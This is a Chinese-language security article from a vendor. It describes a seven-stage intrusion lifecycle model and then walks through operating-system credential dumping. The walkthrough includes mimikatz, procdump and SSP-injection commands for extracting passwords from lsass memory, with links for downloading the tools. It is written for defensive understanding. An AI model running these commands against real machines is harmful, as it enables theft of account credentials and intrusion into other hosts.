美創科技為了更好地進行入侵檢測和防御,參照各種安全威脅框架和自身的實踐與思考,提出了基于入侵生命周期的攻擊管理模型,作為美創新一代安全架構的三大支柱之一。
入侵生命周期v1.0把入侵過程劃分為7個階段:探索發現、入侵和感染、探索感知、傳播、持久化、攻擊和利用、恢復。入侵生命周期v1.0同樣以ATT&CK作為基本戰術知識庫,匹配到不同的入侵階段。需要注意的是,并非所有的入侵都會經歷這7個階段,也沒有絕對的線性次序。
1、探索發現
在這個階段中,攻擊者會先鎖定攻擊對象,然后利用某些技術手段,盡可能多地獲取目標暴露出來的信息,如通過端口掃描、指紋探測等方式,發現敏感端口及版本信息,進而尋找攻擊點,為下一步入侵做準備。
2、入侵和感染
在這個階段,攻擊者會根據“探索發現”階段所發現的重要信息,來對目標暴露出的攻擊面進行攻擊嘗試,在“探索發現”階段收集到的信息越多,攻擊對象所暴露的攻擊面也就越多,攻擊更易成功。
3、探索感知
攻擊者在成功進入系統內部后,由于是首次進入所以會出現對內部環境不熟悉的情況,這時攻擊者的動作一般會是對當前所處環境進行探索,摸清內部大致的網絡結構,常常伴隨著被入侵本機的敏感信息收集以及對內網大量的端口進行掃描,后續根據攻擊者的目的進行下一步操作。
4、傳播
在此階段,攻擊者根據上一階段在內網探索感知收集到的信息,選擇特定的攻擊手法。如若發現內部是域環境,攻擊者可能會嘗試先攻破域控服務器,再傳播其他機器。若是工作組環境,可能會利用收集到的端口和服務信息,選擇特定漏洞進行批量掃描攻擊,來盡可能多地繼續獲得其他計算機的控制權。
5、持久化
攻擊者在對資產進行惡意操作后,為了能夠減少再次連接的攻擊成本,方便下次進入,會進行“留后門”的操作,常見的后門如:建立計劃任務,定時連接遠程服務器;設置開機啟動程序,在每次開機時觸發執行特定惡意程序;新建系統管理員賬號等。這樣便于攻擊者下次快速登錄并控制該系統。
6、攻擊和利用
攻擊者在此階段便會開始對目標資產進行惡意操作,按照攻擊者意愿,對能利用的數據進行竊取、利用;對操作系統、敏感文件進行破壞、刪除。所有的防御手段都應該極力阻止攻擊者進行到這一階段。
7、恢復
攻擊者在執行所有的攻擊操作時,往往會在系統上留下大量的行為日志,因此在這一階段,攻擊者會對記錄自身痕跡的所有日志進行處理,或刪除或混淆,從而消滅證據,逃避追蹤。
本系列文章基于美創科技入侵生命周期1.0架構,細分各階段攻擊者的常用攻擊手段,并對相關攻擊手段的具體實施方式進行逐一剖析,為安全防御建設提供有力知識補充和反制準備。
操作系統憑證轉儲攻擊(傳播)
Linux系統和Windows系統都會將操作系統的登錄憑證存儲在本地。Linux系統的話可以在/etc/passwd和/etc/shadow兩個文件中直接讀取到登錄憑證。而Windows系統的話需要依靠lsass.exe程序,lsass.exe是一個系統進程,用于微軟Windows系統的安全機制。它用于本地安全和登陸策略。lsass.exe會隨著系統啟動而自動啟動,可以從lsass.exe進程內存中讀取到Windows系統的登錄憑證。
從攻擊者的角度來分析,利用操作系統憑證轉儲技術,攻擊者可能會嘗試從操作系統和軟件中轉儲憑據以獲取帳戶登錄名和憑據材料,通常以哈?;蛎魑拿艽a的形式,然后可以使用憑證執行橫向移動并訪問受限制的信息。
根據攻擊者的入侵流程和操作手段,利用操作系統憑證轉儲技術進行攻擊在入侵過程的攻擊執行階段,可以幫助攻擊者在入侵成功后執行惡意操作,從入侵生命周期角度分析,進程注入攻擊可作用于傳播階段、攻擊和利用階段、持久化階段。在傳播階段,攻擊者通過獲取操作系統憑證,進行橫向爆破以獲取使用相同憑證的主機控制權限。
從攻擊行為鏈條的上下文來看,針對操作系統憑證轉儲的行為鏈條輸入輸出如下:
輸入:轉儲憑證的工具、執行的操作和命令
輸出:操作系統明文和哈希憑證
根據不同攻擊思路,攻擊者利用操作系統憑證轉儲進行攻擊的手法通常有8種:
1.LSASSMemory2.SecurityAccount Manager3.NTDS4.LSA Secrets5.CachedDomainCredentials6.DCSync7.Proc Filesystem8./etc/passwd and/etc/shadow
上述8中攻擊手法中最常用的LSASSMemory,LSASS Memory中有三種常用的憑證轉儲技術。
(1)mimikatz讀取lsass進程內存解密獲取明文密碼
該方法是直接將mimikatz放置在受害機器上讀取lsass進程內存解密獲取明文密碼。
下載mimikatz并放置到目標機器上
https://github.com/gentilkiwi/mimikatz/releases
在目標機器上以管理員身份打開cmd并運行以下命令
mimikatz.exeprivilege::debugsekurlsa::logonpasswords exit > pass.txt
在當前目錄下會生成pass.txt文件,其中包含獲取到的明文賬戶密碼。
(2)procdumpdump lsass進程內存
該方式不直接利用mimikatz獲取lsass進程中的憑據,而是先在受害主機上使用procdump dump lsass進程中的內存,再將dump下來的內存文件直接使用mimikatz進行解密獲取明文密碼,或者拷貝到攻擊者本機上再使用mimikatz進行解密獲取明文密碼。
下載procdump并放置到目標機器上
https://download.sysinternals.com/files/Procdump.zip
在目標機器上以管理員身份打開cmd并運行以下命令
procdump64.exe-accepteula -ma lsass.exelsass.dmp
將lsass.dmp拷貝到攻擊者本機后,在本機打開cmd并運行以下命令
mimikatz.exe"sekurlsa::minidumplsass.dmp" "sekurlsa::logonPasswordsfull" exit > pass.txt
在當前目錄下會生成pass.txt文件,其中包含獲取到的明文賬戶密碼。
(3)RPC加載SSPdump lsass進程內存
利用lsass自身絕對可以讀自己內存的特點,通過RPC調用添加一個SSP dll,加載dll到lsass進程然后dump內存。
下載ssp注入工具并放置到目標機器上
https://pan.baidu.com/s/1KbCTVGQtVZUwpJmGguI6Vw提取碼:dqk4
在目標機器上以管理員身份打開cmd并運行以下命令
loader.exeC:\Users\win7\Desktop\loader\ssp.dll
在C:\Windows\Temp目錄下會生成一個temp.bin文件
將temp.bin拷貝到攻擊者本機后,在本機打開cmd并運行以下命令
mimikatz.exe"sekurlsa::minidumptemp.bin" "sekurlsa::logonPasswordsfull" exit > pass.txt
在當前目錄下會生成pass.txt文件,其中包含獲取到的明文賬戶密碼